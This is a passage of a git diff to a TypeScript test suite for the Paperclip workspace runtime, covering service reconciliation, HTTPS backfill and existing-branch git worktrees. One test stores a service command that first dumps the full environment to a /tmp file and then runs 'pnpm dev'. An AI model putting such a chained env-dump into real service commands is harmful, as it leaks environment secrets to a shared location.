+          readiness: { type: "http", urlTemplate: "http://127.0.0.1:{{port}}", timeoutSec: 10, intervalMs: 50 },
+          lifecycle: "shared",
+          reuseScope: "project_workspace",
+          stopPolicy: { type: "manual" },
+        },
+      ],
+    };
+
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Paperclip",
+      issuePrefix: `T${companyId.replace(/-/g, "").slice(0, 6).toUpperCase()}`,
+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(projects).values({
+      id: projectId,
+      companyId,
+      name: "Runtime HTTPS backfill",
+      status: "in_progress",
+    });
+    await db.insert(projectWorkspaces).values({
+      id: projectWorkspaceId,
+      companyId,
+      projectId,
+      name: "Primary",
+      sourceType: "local_path",
+      cwd: workspaceRoot,
+      isPrimary: true,
+      metadata: {
+        runtimeConfig: {
+          workspaceRuntime,
+          desiredState: "running",
+          serviceStates: { "0": "running" },
+        },
+      },
+    });
+
+    const actor = { id: null, name: "Paperclip", companyId };
+    const workspace = {
+      ...buildWorkspace(workspaceRoot),
+      projectId,
+      workspaceId: projectWorkspaceId,
+    };
+
+    // A broker fake that remembers what it published, so a second reconciliation
+    // can recognize its own live listeners instead of tearing them down.
+    const exposedByRuntimeId = new Map<string, { port: number; purpose: "app" | "vite_hmr" }[]>();
+    const pendingByHandle = new Map<string, { runtimeId: string; listeners: { port: number; purpose: "app" | "vite_hmr" }[] }>();
+    let handleCounter = 0;
+    const brokerCalls: string[] = [];
+    const broker = {
+      async reserve(runtimeId: string, listeners: { port: number; purpose: "app" | "vite_hmr" }[]) {
+        brokerCalls.push("reserve");
+        handleCounter += 1;
+        const handle = `backfill-handle-${handleCounter}`;
+        pendingByHandle.set(handle, { runtimeId, listeners: listeners.map((l) => ({ ...l })) });
+        return { handle, reservedPorts: listeners.map((listener) => listener.port) };
+      },
+      async expose(runtimeId: string, handle: string) {
+        brokerCalls.push("expose");
+        const pending = pendingByHandle.get(handle);
+        if (!pending || pending.runtimeId !== runtimeId) throw new Error("listener_ownership_mismatch");
+        exposedByRuntimeId.set(runtimeId, pending.listeners);
+        return { handle, publicPorts: pending.listeners.map((listener) => listener.port) };
+      },
+      async remove(runtimeId: string, handle: string) {
+        brokerCalls.push("remove");
+        const listeners = exposedByRuntimeId.get(runtimeId) ?? pendingByHandle.get(handle)?.listeners ?? [];
+        exposedByRuntimeId.delete(runtimeId);
+        pendingByHandle.delete(handle);
+        return { removedPorts: listeners.map((listener) => listener.port) };
+      },
+      async list() {
+        return [...exposedByRuntimeId.entries()].flatMap(([runtimeId, listeners]) =>
+          listeners.map((listener) => ({ runtimeId, port: listener.port, purpose: listener.purpose })),
+        );
+      },
+    };
+    const installExposureDeps = () => setWorkspaceRuntimeExposureDepsForTests({
+      broker,
+      isPortAvailable: isLoopbackPortFree,
+      isBrokerAvailable: async () => true,
+      resolveHostname: async () => "runner.tail123.ts.net",
+      probeHealth: async () => true,
+      now: () => new Date().toISOString(),
+    });
+
+    try {
+      // ---- Before: the workspace as it exists today, on plain HTTP. ----
+      process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS = "off";
+      const before = await startRuntimeServicesForWorkspaceControl({
+        db,
+        actor,
+        issue: null,
+        workspace,
+        config: { workspaceRuntime, desiredState: "running", serviceStates: { "0": "running" } },
+        adapterEnv: {},
+      });
+      const runtimeServiceId = before[0]?.id;
+      expect(runtimeServiceId).toBeTruthy();
+      expect(before[0]?.port).toBe(legacyPort);
+      expect(before[0]?.url).toBe(`http://127.0.0.1:${legacyPort}`);
+      const [httpRow] = await db.select().from(workspaceRuntimeServices);
+      expect(httpRow.exposure).toBeNull();
+      expect(httpRow.url).toBe(`http://127.0.0.1:${legacyPort}`);
+      await expect(fetch(`http://127.0.0.1:${legacyPort}`)).resolves.toMatchObject({ ok: true });
+      expect(brokerCalls).toEqual([]);
+
+      // ---- Deploy: the feature turns on and Paperclip restarts. ----
+      await resetRuntimeServicesForTests();
+      delete process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS;
+      installExposureDeps();
+
+      const result = await reconcilePersistedRuntimeServicesOnStartup(db);
+      expect(result).toMatchObject({ backfilled: 1, restarted: 1, restartFailed: 0 });
+      expect(brokerCalls).toEqual(["reserve", "expose"]);
+
+      // ---- After: same row, verified HTTPS URL, no HTTP anywhere. ----
+      const afterRows = await db.select().from(workspaceRuntimeServices);
+      expect(afterRows).toHaveLength(1);
+      const httpsRow = afterRows[0]!;
+      expect(httpsRow.id).toBe(runtimeServiceId);
+      expect(httpsRow.status).toBe("running");
+      expect(httpsRow.port).not.toBe(legacyPort);
+      expect(httpsRow.port).toBeGreaterThanOrEqual(42_000);
+      expect(httpsRow.port).toBeLessThanOrEqual(42_999);
+      expect(httpsRow.url).toBe(`https://runner.tail123.ts.net:${httpsRow.port}`);
+      expect(httpsRow.exposure).toMatchObject({
+        provider: "tailscale_https",
+        state: "ready",
+        publicUrl: `https://runner.tail123.ts.net:${httpsRow.port}`,
+        hostname: "runner.tail123.ts.net",
+      });
+      expect(httpsRow.exposureHandle).toBeTruthy();
+      // The old HTTP backend is gone, not merely shadowed.
+      await expect(fetch(`http://127.0.0.1:${legacyPort}`)).rejects.toThrow();
+
+      // ---- Repeat deploy: converges, no listener churn, same port. ----
+      await resetRuntimeServicesForTests();
+      installExposureDeps();
+      brokerCalls.length = 0;
+      const second = await reconcilePersistedRuntimeServicesOnStartup(db);
+      expect(second).toMatchObject({ backfilled: 0 });
+      expect(brokerCalls).toEqual([]);
+      const [repeatRow] = await db.select().from(workspaceRuntimeServices);
+      expect(repeatRow.port).toBe(httpsRow.port);
+      expect(repeatRow.url).toBe(httpsRow.url);
+      expect(repeatRow.status).toBe("running");
+    } finally {
+      await stopRuntimeServicesForProjectWorkspace({
+        db,
+        projectWorkspaceId,
+        workspaceCwd: workspaceRoot,
+      }).catch(() => undefined);
+      await resetRuntimeServicesForTests();
+      await fs.rm(paperclipHome, { recursive: true, force: true });
+      await fs.rm(workspaceRoot, { recursive: true, force: true });
+      if (previousPaperclipHome === undefined) delete process.env.PAPERCLIP_HOME;
+      else process.env.PAPERCLIP_HOME = previousPaperclipHome;
+      if (previousPaperclipInstanceId === undefined) delete process.env.PAPERCLIP_INSTANCE_ID;
+      else process.env.PAPERCLIP_INSTANCE_ID = previousPaperclipInstanceId;
+      if (previousHttpsMode === undefined) delete process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS;
+      else process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS = previousHttpsMode;
+    }
+  }, 40_000);
+
+  it("re-adopts a request-logging service on the same auto port after supervisor stdio closes", async () => {
     const workspaceRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-reconcile-"));
     const paperclipHome = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-home-"));
     process.env.PAPERCLIP_HOME = paperclipHome;
@@ -5654,7 +7711,6 @@ describeEmbeddedPostgres("workspace runtime startup reconciliation", () => {
     const companyId = randomUUID();
     const agentId = randomUUID();
     const runId = randomUUID();
-    const executionWorkspaceId = randomUUID();
 
     await db.insert(companies).values({
       id: companyId,
@@ -5688,6 +7744,16 @@ describeEmbeddedPostgres("workspace runtime startup reconciliation", () => {
       projectId: null,
       workspaceId: null,
     };
+    await fs.writeFile(
+      path.join(workspaceRoot, "request-logger.cjs"),
+      [
+        "const http = require('node:http');",
+        "http.createServer((req, res) => {",
+        "  process.stdout.write(`request ${req.url}\\n`, (error) => { if (!error) res.end('ok'); });",
+        "}).listen(Number(process.env.PORT), '127.0.0.1');",
+      ].join("\n"),
+      "utf8",
+    );
     leasedRunIds.add(runId);
 
     const services = await ensureRuntimeServicesForRun({
@@ -5705,8 +7771,7 @@ describeEmbeddedPostgres("workspace runtime startup reconciliation", () => {
           services: [
             {
               name: "web",
-              command:
-                "node -e \"require('node:http').createServer((req,res)=>res.end('ok')).listen(Number(process.env.PORT), '127.0.0.1')\"",
+              command: "node request-logger.cjs",
               port: { type: "auto" },
               readiness: {
                 type: "http",
@@ -5730,9 +7795,13 @@ describeEmbeddedPostgres("workspace runtime startup reconciliation", () => {
     const service = services[0];
     expect(service?.url).toMatch(/^http:\/\/127\.0\.0\.1:\d+$/);
     await expect(fetch(service!.url!)).resolves.toMatchObject({ ok: true });
+    const originalPort = service!.port;
+    const originalProviderRef = service!.providerRef;
 
-    await fs.rm(paperclipHome, { recursive: true, force: true });
-    await resetRuntimeServicesForTests();
+    // Closing the parent's pipe endpoints reproduces a real control-plane exit.
+    // A service whose per-request logger still targets those pipes wedges (or
+    // exits) on the reconciliation health probe instead of answering it.
+    await resetRuntimeServicesForTests({ simulateSupervisorExit: true });
 
     const result = await reconcilePersistedRuntimeServicesOnStartup(db);
     expect(result).toMatchObject({ reconciled: 1, adopted: 1, stopped: 0 });
@@ -5743,17 +7812,233 @@ describeEmbeddedPostgres("workspace runtime startup reconciliation", () => {
       .where(eq(workspaceRuntimeServices.id, service!.id))
       .then((rows) => rows[0] ?? null);
     expect(persisted?.status).toBe("running");
-    expect(persisted?.providerRef).toMatch(/^\d+$/);
+    expect(persisted?.port).toBe(originalPort);
+    expect(persisted?.providerRef).toBe(originalProviderRef);
+    await expect(fetch(service!.url!)).resolves.toMatchObject({ ok: true });
 
-    await stopRuntimeServicesForExecutionWorkspace({
-      db,
-      executionWorkspaceId,
-      workspaceCwd: workspace.cwd,
-    });
+    await resetRuntimeServicesForTests({ terminateProcesses: true });
+    leasedRunIds.delete(runId);
+    await fs.rm(paperclipHome, { recursive: true, force: true });
+    await fs.rm(workspaceRoot, { recursive: true, force: true });
 
     await expect(fetch(service!.url!)).rejects.toThrow();
   });
 
+  it("re-adopts a live service whose shell command differs from the surviving process argv", async () => {
+    const workspaceRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-pnpm-reconcile-"));
+    const paperclipHome = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-home-"));
+    const previousPaperclipHome = process.env.PAPERCLIP_HOME;
+    const previousInstanceId = process.env.PAPERCLIP_INSTANCE_ID;
+    process.env.PAPERCLIP_HOME = paperclipHome;
+    process.env.PAPERCLIP_INSTANCE_ID = `runtime-pnpm-reconcile-${randomUUID()}`;
+
+    // Reserve a port outside the runtime exposure app-port range (42000-42999).
+    // The reconciler stores this port on the row. A port inside that range makes
+    // the reconciler treat the row as an exposure reservation and report drift,
+    // so the live service never reaches the adoption path this test verifies.
+    const reservePort = async () => {
+      for (let attempt = 0; attempt < 100; attempt += 1) {
+        const probe = net.createServer();
+        await new Promise<void>((resolve) => probe.listen(0, "127.0.0.1", resolve));
+        const address = probe.address();
+        const candidate = typeof address === "object" && address ? address.port : null;
+        await new Promise<void>((resolve, reject) => {
+          probe.close((error) => error ? reject(error) : resolve());
+        });
+        if (candidate && candidate <= 55_535 && (candidate < 42_000 || candidate > 42_999)) {
+          return candidate;
+        }
+      }
+      throw new Error("Failed to reserve pnpm reconciliation test port outside the broker range");
+    };
+    const port = await reservePort();
+
+    const companyId = randomUUID();
+    const projectId = randomUUID();
+    const executionWorkspaceId = randomUUID();
+    const runtimeServiceId = randomUUID();
+    const command = "env | sort > /tmp/guest-$$.env; exec pnpm dev --bind loopback";
+    const service = {
+      name: "web",
+      command,
+      port,
+      readiness: {
+        type: "http",
+        urlTemplate: "http://127.0.0.1:{{port}}",
+        timeoutSec: 10,
+        intervalMs: 50,
+      },
+      expose: null,
+      lifecycle: "shared",
+      reuseScope: "execution_workspace",
+      stopPolicy: { type: "manual" },
+    };
+    const reuseKey = createHash("sha256")
+      .update(stableStringifyForTest({
+        scopeType: "execution_workspace",
+        scopeId: executionWorkspaceId,
+        serviceName: service.name,
+        command,
+        cwd: workspaceRoot,
+        port,
+        env: {},
+        expose: null,
+      }))
+      .digest("hex");
+    const wrapperPath = path.join(workspaceRoot, "pnpm.cjs");
+    await fs.writeFile(
+      wrapperPath,
+      [
+        "const http = require('node:http');",
+        "const port = Number(process.argv[3]);",
+        "http.createServer((_req, res) => res.end('ok')).listen(port, '127.0.0.1');",
+      ].join("\n"),
+      "utf8",
+    );
+    const child = spawn(process.execPath, [wrapperPath, "dev", String(port)], {
+      cwd: workspaceRoot,
+      detached: process.platform !== "win32",
+      stdio: "ignore",
+    });
+    child.unref();
+
+    try {
+      for (let attempt = 0; attempt < 50; attempt += 1) {
+        try {
+          if ((await fetch(`http://127.0.0.1:${port}`)).ok) break;
+        } catch {
+          // Wait for the simulated package-manager launcher to bind.
+        }
+        await new Promise((resolve) => setTimeout(resolve, 50));
+      }
+      await expect(fetch(`http://127.0.0.1:${port}`)).resolves.toMatchObject({ ok: true });
+
+      await db.insert(companies).values({
+        id: companyId,
+        name: "Paperclip",
+        issuePrefix: `T${companyId.replace(/-/g, "").slice(0, 6).toUpperCase()}`,
+        requireBoardApprovalForNewAgents: false,
+      });
+      await db.insert(projects).values({
+        id: projectId,
+        companyId,
+        name: "Runtime pnpm reconciliation",
+        status: "in_progress",
+      });
+      await db.insert(executionWorkspaces).values({
+        id: executionWorkspaceId,
+        companyId,
+        projectId,
+        projectWorkspaceId: null,
+        mode: "isolated_workspace",
+        strategyType: "git_worktree",
+        name: "Runtime pnpm reconciliation workspace",
+        status: "active",
+        cwd: workspaceRoot,
+        providerType: "local_fs",
+        providerRef: workspaceRoot,
+        metadata: {
+          config: {
+            workspaceRuntime: { services: [service] },
+            desiredState: "running",
+            serviceStates: { "0": "running" },
+          },
+        },
+      });
+      await db.insert(workspaceRuntimeServices).values({
+        id: runtimeServiceId,
+        companyId,
+        projectId,
+        projectWorkspaceId: null,
+        executionWorkspaceId,
+        issueId: null,
+        scopeType: "execution_workspace",
+        scopeId: executionWorkspaceId,
+        serviceName: service.name,
+        status: "running",
+        lifecycle: "shared",
+        reuseKey,
+        command,
+        cwd: workspaceRoot,
+        port,
+        url: `http://127.0.0.1:${port}`,
+        provider: "local_process",
+        providerRef: String(child.pid),
+        ownerAgentId: null,
+        startedByRunId: null,
+        lastUsedAt: new Date(),
+        startedAt: new Date(),
+        stoppedAt: null,
+        stopPolicy: { type: "manual" },
+        healthStatus: "healthy",
+      });
+      await writeLocalServiceRegistryRecord({
+        version: 1,
+        serviceKey: `workspace-runtime-web-${randomUUID()}`,
+        profileKind: "workspace-runtime",
+        serviceName: service.name,
+        command,
+        cwd: workspaceRoot,
+        envFingerprint: reuseKey,
+        port,
+        url: `http://127.0.0.1:${port}`,
+        pid: child.pid!,
+        processGroupId: child.pid ?? null,
+        provider: "local_process",
+        runtimeServiceId,
+        reuseKey,
+        startedAt: new Date().toISOString(),
+        lastSeenAt: new Date().toISOString(),
+        metadata: { executionWorkspaceId },
+      });
+
+      const result = await reconcilePersistedRuntimeServicesOnStartup(db);
+
+      expect(result).toMatchObject({
+        reconciled: 1,
+        adopted: 1,
+        stopped: 0,
+        restarted: 0,
+        restartFailed: 0,
+      });
+      const rows = await db
+        .select()
+        .from(workspaceRuntimeServices)
+        .where(eq(workspaceRuntimeServices.executionWorkspaceId, executionWorkspaceId));
+      expect(rows).toHaveLength(1);
+      expect(rows[0]).toMatchObject({
+        id: runtimeServiceId,
+        status: "running",
+        healthStatus: "healthy",
+        port,
+        providerRef: String(child.pid),
+      });
+      expect(await readLocalServicePortOwner(port)).toBe(child.pid);
+      await expect(fetch(`http://127.0.0.1:${port}`)).resolves.toMatchObject({ ok: true });
+    } finally {
+      await stopRuntimeServicesForExecutionWorkspace({
+        db,
+        executionWorkspaceId,
+        workspaceCwd: workspaceRoot,
+      }).catch(() => undefined);
+      if (child.pid) {
+        try {
+          if (process.platform === "win32") process.kill(child.pid, "SIGKILL");
+          else process.kill(-child.pid, "SIGKILL");
+        } catch {
+          // The adopted runtime was already stopped through the managed path.
+        }
+      }
+      await resetRuntimeServicesForTests();
+      if (previousPaperclipHome === undefined) delete process.env.PAPERCLIP_HOME;
+      else process.env.PAPERCLIP_HOME = previousPaperclipHome;
+      if (previousInstanceId === undefined) delete process.env.PAPERCLIP_INSTANCE_ID;
+      else process.env.PAPERCLIP_INSTANCE_ID = previousInstanceId;
+      await fs.rm(paperclipHome, { recursive: true, force: true });
+      await fs.rm(workspaceRoot, { recursive: true, force: true });
+    }
+  }, 20_000);
+
   it("does not reuse a stopped auto-port service port while another process owns it", async () => {
     const workspaceRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-unhealthy-adopt-"));
     const paperclipHome = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-home-"));
@@ -5779,7 +8064,7 @@ describeEmbeddedPostgres("workspace runtime startup reconciliation", () => {
     const executionWorkspaceId = randomUUID();
     const stoppedServiceId = randomUUID();
     const serviceCommand =
-      "node -e \"const http=require('node:http'); const stale=process.env.STALE_HEALTH==='1'; http.createServer((req,res)=>{ if (req.url==='/api/health' && stale) { res.statusCode=503; res.end('database_unreachable'); return; } res.end('ok'); }).listen(Number(process.env.PORT), '127.0.0.1')\"";
+      "node -e \"const http=require('node:http'); const stale=process.env.STALE_HEALTH==='1'; http.createServer((req,res)=>{ if (req.url==='/api/health') { if (stale) { res.statusCode=503; res.end('database_unreachable'); return; } res.setHeader('content-type','application/json'); res.end(JSON.stringify({status:'ok'})); return; } res.end('ok'); }).listen(Number(process.env.PORT), '127.0.0.1')\"";
     const scopeType = "agent";
     const scopeId = agentId;
     const reuseKey = createHash("sha256")
@@ -6830,3 +9115,436 @@ describe("workspace realization request additionalSources", () => {
     expect(parsed?.runtimeOverlay.runtimeProvisionCommand).toBeNull();
   });
 });
+
+describe("realizeExecutionWorkspace with an exact existing branch", () => {
+  function realizeExistingBranch(
+    repoRoot: string,
+    existingBranch: string,
+    strategyOverrides: Record<string, unknown> = {},
+    recordedBranchOwnership: Parameters<typeof realizeExecutionWorkspace>[0]["recordedBranchOwnership"] = null,
+  ) {
+    return realizeExecutionWorkspace({
+      base: {
+        baseCwd: repoRoot,
+        source: "project_primary",
+        projectId: "project-1",
+        workspaceId: "workspace-1",
+        repoUrl: null,
+        repoRef: "HEAD",
+      },
+      config: {
+        workspaceStrategy: {
+          type: "git_worktree",
+          existingBranch,
+          ...strategyOverrides,
+        },
+      },
+      issue: {
+        id: "issue-pr-prep",
+        identifier: "PAP-9001",
+        title: "Prepare pull request for an existing branch",
+      },
+      agent: {
+        id: "agent-1",
+        name: "Codex Coder",
+        companyId: "company-1",
+      },
+      recordedBranchOwnership,
+    });
+  }
+
+  function restoreExistingBranch(
+    repoRoot: string,
+    workspace: RealizedExecutionWorkspace,
+    metadata: Record<string, unknown>,
+  ) {
+    return ensurePersistedExecutionWorkspaceAvailable({
+      base: {
+        baseCwd: repoRoot,
+        source: "project_primary",
+        projectId: "project-1",
+        workspaceId: "workspace-1",
+        repoUrl: null,
+        repoRef: workspace.repoRef,
+      },
+      workspace: {
+        id: "execution-workspace-existing-branch",
+        mode: "isolated_workspace",
+        strategyType: "git_worktree",
+        cwd: workspace.cwd,
+        providerRef: workspace.worktreePath,
+        projectId: "project-1",
+        projectWorkspaceId: "workspace-1",
+        repoUrl: null,
+        baseRef: workspace.repoRef,
+        branchName: workspace.branchName,
+        metadata,
+      },
+      issue: {
+        id: "issue-pr-prep",
+        identifier: "PAP-9001",
+        title: "Restore an existing-branch pull request workspace",
+      },
+      agent: {
+        id: "agent-1",
+        name: "Codex Coder",
+        companyId: "company-1",
+      },
+    });
+  }
+
+  async function createBranchWithCommit(repoRoot: string, branchName: string, fileName: string) {
+    const baseBranch = await readGit(repoRoot, ["rev-parse", "--abbrev-ref", "HEAD"]);
+    await runGit(repoRoot, ["checkout", "-b", branchName]);
+    await fs.writeFile(path.join(repoRoot, fileName), `${fileName}\n`, "utf8");
+    await runGit(repoRoot, ["add", fileName]);
+    await runGit(repoRoot, ["commit", "-m", `Add ${fileName}`]);
+    await runGit(repoRoot, ["checkout", baseBranch]);
+    return readGit(repoRoot, ["rev-parse", branchName]);
+  }
+
+  it("attaches an isolated worktree checked out on exactly the requested branch", async () => {
+    const repoRoot = await createTempRepo();
+    const branchTip = await createBranchWithCommit(repoRoot, "feature/preexisting-work", "existing.txt");
+
+    const workspace = await realizeExistingBranch(repoRoot, "feature/preexisting-work");
+
+    expect(workspace.strategy).toBe("git_worktree");
+    expect(workspace.branchName).toBe("feature/preexisting-work");
+    // The worktree is freshly created, but the pinned branch pre-existed and
+    // stays operator-owned so terminal cleanup never deletes it.
+    expect(workspace.created).toBe(true);
+    expect(workspace.branchCreatedByRuntime).toBe(false);
+    expect(workspace.cwd).not.toBe(repoRoot);
+    expect(workspace.cwd).toContain(path.join(".paperclip", "worktrees"));
+    expect(await readGit(workspace.cwd, ["branch", "--show-current"])).toBe("feature/preexisting-work");
+    expect(await readGit(workspace.cwd, ["rev-parse", "HEAD"])).toBe(branchTip);
+    expect(await readGit(repoRoot, ["rev-parse", "feature/preexisting-work"])).toBe(branchTip);
+  });
+
+  it("reuses a registered legacy worktree that already has the branch checked out", async () => {
+    const repoRoot = await createTempRepo();
+    const branchTip = await createBranchWithCommit(repoRoot, "feature/legacy-checkout", "legacy.txt");
+    const legacyPath = path.join(repoRoot, ".worktrees", "legacy-checkout");
+    await runGit(repoRoot, ["worktree", "add", legacyPath, "feature/legacy-checkout"]);
+
+    const workspace = await realizeExistingBranch(repoRoot, "feature/legacy-checkout");
+
+    expect(workspace.cwd).toBe(path.resolve(legacyPath));
+    expect(workspace.branchName).toBe("feature/legacy-checkout");
+    expect(workspace.created).toBe(false);
+    expect(await readGit(workspace.cwd, ["rev-parse", "HEAD"])).toBe(branchTip);
+    expect(await readGit(repoRoot, ["rev-parse", "feature/legacy-checkout"])).toBe(branchTip);
+  });
+
+  it("does not let exact-branch reuse inherit runtime ownership", async () => {
+    const repoRoot = await createTempRepo();
+    await createBranchWithCommit(repoRoot, "feature/operator-owned-reuse", "operator-reuse.txt");
+    const legacyPath = path.join(repoRoot, ".worktrees", "operator-owned-reuse");
+    await runGit(repoRoot, ["worktree", "add", legacyPath, "feature/operator-owned-reuse"]);
+
+    const workspace = await realizeExistingBranch(
+      repoRoot,
+      "feature/operator-owned-reuse",
+      {},
+      {
+        branchName: "feature/operator-owned-reuse",
+        createdByRuntime: true,
+      },
+    );
+
+    expect(workspace.created).toBe(false);
+    expect(workspace.branchCreatedByRuntime).toBe(false);
+  });
+
+  it("fails closed when the requested branch does not exist and creates nothing", async () => {
+    const repoRoot = await createTempRepo();
+
+    await expect(realizeExistingBranch(repoRoot, "feature/never-created")).rejects.toMatchObject({
+      code: "workspace_validation_failed",
+      resultJson: {
+        workspaceValidation: expect.objectContaining({
+          reason: "existing_branch_not_found",
+          requestedExistingBranch: "feature/never-created",
+        }),
+      },
+    });
+
+    expect(await readGit(repoRoot, ["branch", "--list", "feature/never-created"])).toBe("");
+    expect(
+      existsSync(path.join(repoRoot, ".paperclip", "worktrees", "feature", "never-created")),
+    ).toBe(false);
+  });
+
+  it("fails closed instead of reconciling when the managed worktree path holds another branch", async () => {
+    const repoRoot = await createTempRepo();
+    const branchTip = await createBranchWithCommit(repoRoot, "feature/pinned", "pinned.txt");
+    const managedPath = path.join(repoRoot, ".paperclip", "worktrees", "feature/pinned");
+    await runGit(repoRoot, ["worktree", "add", "-b", "stale-occupant", managedPath]);
+
+    await expect(realizeExistingBranch(repoRoot, "feature/pinned")).rejects.toMatchObject({
+      code: "workspace_validation_failed",
+      resultJson: {
+        workspaceValidation: expect.objectContaining({
+          reason: "existing_branch_worktree_not_reusable",
+          requestedExistingBranch: "feature/pinned",
+        }),
+      },
+    });
+
+    expect(await readGit(repoRoot, ["rev-parse", "feature/pinned"])).toBe(branchTip);
+    expect(await readGit(managedPath, ["branch", "--show-current"])).toBe("stale-occupant");
+  });
+
+  it("never fast-forwards an unstarted exact branch to a newer base ref", async () => {
+    const { sourceRepo, remotePath, repoRoot } = await createClonedRepoWithRemote();
+    const oldMaster = await readGit(repoRoot, ["rev-parse", "origin/master"]);
+    await runGit(repoRoot, ["branch", "release/frozen", oldMaster]);
+
+    const first = await realizeExistingBranch(repoRoot, "release/frozen", { baseRef: "origin/master" });
+    expect(await readGit(first.cwd, ["rev-parse", "HEAD"])).toBe(oldMaster);
+
+    const newMaster = await advanceRemoteMaster(sourceRepo, remotePath, "advance.txt");
+    const reused = await restoreExistingBranch(repoRoot, first, {
+      createdByRuntime: false,
+      gitBranchOwnershipVersion: 1,
+    });
+
+    expect(reused?.cwd).toBe(first.cwd);
+    expect(await readGit(first.cwd, ["rev-parse", "HEAD"])).toBe(oldMaster);
+    expect(await readGit(repoRoot, ["rev-parse", "release/frozen"])).toBe(oldMaster);
+    expect(newMaster).not.toBe(oldMaster);
+  });
+
+  it.each(["forward branch", "detached commit"] as const)(
+    "fails closed when an operator-owned persisted worktree moves to a %s",
+    async (mismatchKind) => {
+      const repoRoot = await createTempRepo();
+      const branchName = `feature/operator-owned-${mismatchKind === "forward branch" ? "forward" : "detached"}`;
+      const branchTip = await createBranchWithCommit(repoRoot, branchName, "operator-owned-tip.txt");
+      const workspace = await realizeExistingBranch(repoRoot, branchName);
+
+      if (mismatchKind === "forward branch") {
+        await runGit(workspace.cwd, ["checkout", "-b", `${branchName}-other`]);
+      } else {
+        await runGit(workspace.cwd, ["checkout", "--detach"]);
+      }
+      await fs.writeFile(path.join(workspace.cwd, "unexpected-forward-work.txt"), "do not adopt\n", "utf8");
+      await runGit(workspace.cwd, ["add", "unexpected-forward-work.txt"]);
+      await runGit(workspace.cwd, ["commit", "-m", "Unexpected forward work"]);
+      const mismatchedHead = await readGit(workspace.cwd, ["rev-parse", "HEAD"]);
+
+      await expect(restoreExistingBranch(repoRoot, workspace, {
+        createdByRuntime: false,
+        gitBranchOwnershipVersion: 1,
+      })).rejects.toMatchObject({
+        code: "workspace_validation_failed",
+        resultJson: {
+          workspaceValidation: expect.objectContaining({
+            reason: "git_worktree_not_reusable",
+            reasonCode: "branch_mismatch",
+          }),
+        },
+      });
+
+      expect(await readGit(repoRoot, ["rev-parse", `refs/heads/${branchName}`])).toBe(branchTip);
+      expect(await readGit(workspace.cwd, ["rev-parse", "HEAD"])).toBe(mismatchedHead);
+      if (mismatchKind === "detached commit") {
+        expect(await readGit(workspace.cwd, ["branch", "--show-current"])).toBe("");
+      }
+    },
+  );
+
+  function cleanupWorkspaceInput(
+    workspace: RealizedExecutionWorkspace,
+    repoRoot: string,
+    expectedBranchHeadSha: string,
+  ) {
+    return {
+      workspace: {
+        id: "execution-workspace-1",
+        cwd: workspace.cwd,
+        providerType: "git_worktree",
+        providerRef: workspace.worktreePath,
+        branchName: workspace.branchName,
+        repoUrl: workspace.repoUrl,
+        baseRef: workspace.repoRef,
+        projectId: workspace.projectId,
+        projectWorkspaceId: workspace.workspaceId,
+        sourceIssueId: "issue-pr-prep",
+        // Persist ownership the way the heartbeat does: from the branch
+        // ownership signal, never from worktree creation.
+        metadata: {
+          createdByRuntime: workspace.branchCreatedByRuntime,
+          gitBranchOwnershipVersion: 1,
+        },
+      },
+      projectWorkspace: {
+        cwd: repoRoot,
+        cleanupCommand: null,
+      },
+      expectedBranchHeadSha,
+    };
+  }
+
+  it("terminal cleanup removes the worktree but preserves the attached pre-existing branch at its tip", async () => {
+    const repoRoot = await createTempRepo();
+    const branchTip = await createBranchWithCommit(repoRoot, "feature/operator-owned", "operator.txt");
+
+    const workspace = await realizeExistingBranch(repoRoot, "feature/operator-owned");
+    expect(workspace.created).toBe(true);
+    expect(workspace.branchCreatedByRuntime).toBe(false);
+
+    const cleanup = await cleanupExecutionWorkspaceArtifacts(
+      cleanupWorkspaceInput(workspace, repoRoot, branchTip),
+    );
+
+    expect(cleanup.cleaned).toBe(true);
+    expect(cleanup.warnings).toEqual([]);
+    await expect(fs.stat(workspace.cwd)).rejects.toThrow();
+    expect(await readGit(repoRoot, ["rev-parse", "refs/heads/feature/operator-owned"])).toBe(branchTip);
+  });
+
+  it("treats unversioned legacy ownership as operator-owned during cleanup", async () => {
+    const repoRoot = await createTempRepo();
+    const branchTip = await createBranchWithCommit(repoRoot, "feature/legacy-owned", "legacy-owned.txt");
+    const workspace = await realizeExistingBranch(repoRoot, "feature/legacy-owned");
+    const cleanupInput = cleanupWorkspaceInput(workspace, repoRoot, branchTip);
+
+    const cleanup = await cleanupExecutionWorkspaceArtifacts({
+      ...cleanupInput,
+      workspace: {
+        ...cleanupInput.workspace,
+        metadata: { createdByRuntime: true },
+      },
+    });
+
+    expect(cleanup.cleaned).toBe(true);
+    expect(cleanup.warnings).toEqual([]);
+    await expect(fs.stat(workspace.cwd)).rejects.toThrow();
+    expect(await readGit(repoRoot, ["rev-parse", "refs/heads/feature/legacy-owned"])).toBe(branchTip);
+  });
+
+  it("terminal cleanup preserves a pre-existing branch pinned via a literal branchTemplate", async () => {
+    const repoRoot = await createTempRepo();
+    const branchTip = await createBranchWithCommit(repoRoot, "feature/literal-pin", "literal.txt");
+
+    const workspace = await realizeExecutionWorkspace({
+      base: {
+        baseCwd: repoRoot,
+        source: "project_primary",
+        projectId: "project-1",
+        workspaceId: "workspace-1",
+        repoUrl: null,
+        repoRef: "HEAD",
+      },
+      config: {
+        workspaceStrategy: {
+          type: "git_worktree",
+          branchTemplate: "feature/literal-pin",
+        },
+      },
+      issue: {
+        id: "issue-pr-prep",
+        identifier: "PAP-9002",
+        title: "Prepare pull request via a literal branch template",
+      },
+      agent: {
+        id: "agent-1",
+        name: "Codex Coder",
+        companyId: "company-1",
+      },
+    });
+
+    expect(workspace.branchName).toBe("feature/literal-pin");
+    expect(workspace.created).toBe(true);
+    expect(workspace.branchCreatedByRuntime).toBe(false);
+    expect(await readGit(workspace.cwd, ["rev-parse", "HEAD"])).toBe(branchTip);
+
+    const cleanup = await cleanupExecutionWorkspaceArtifacts(
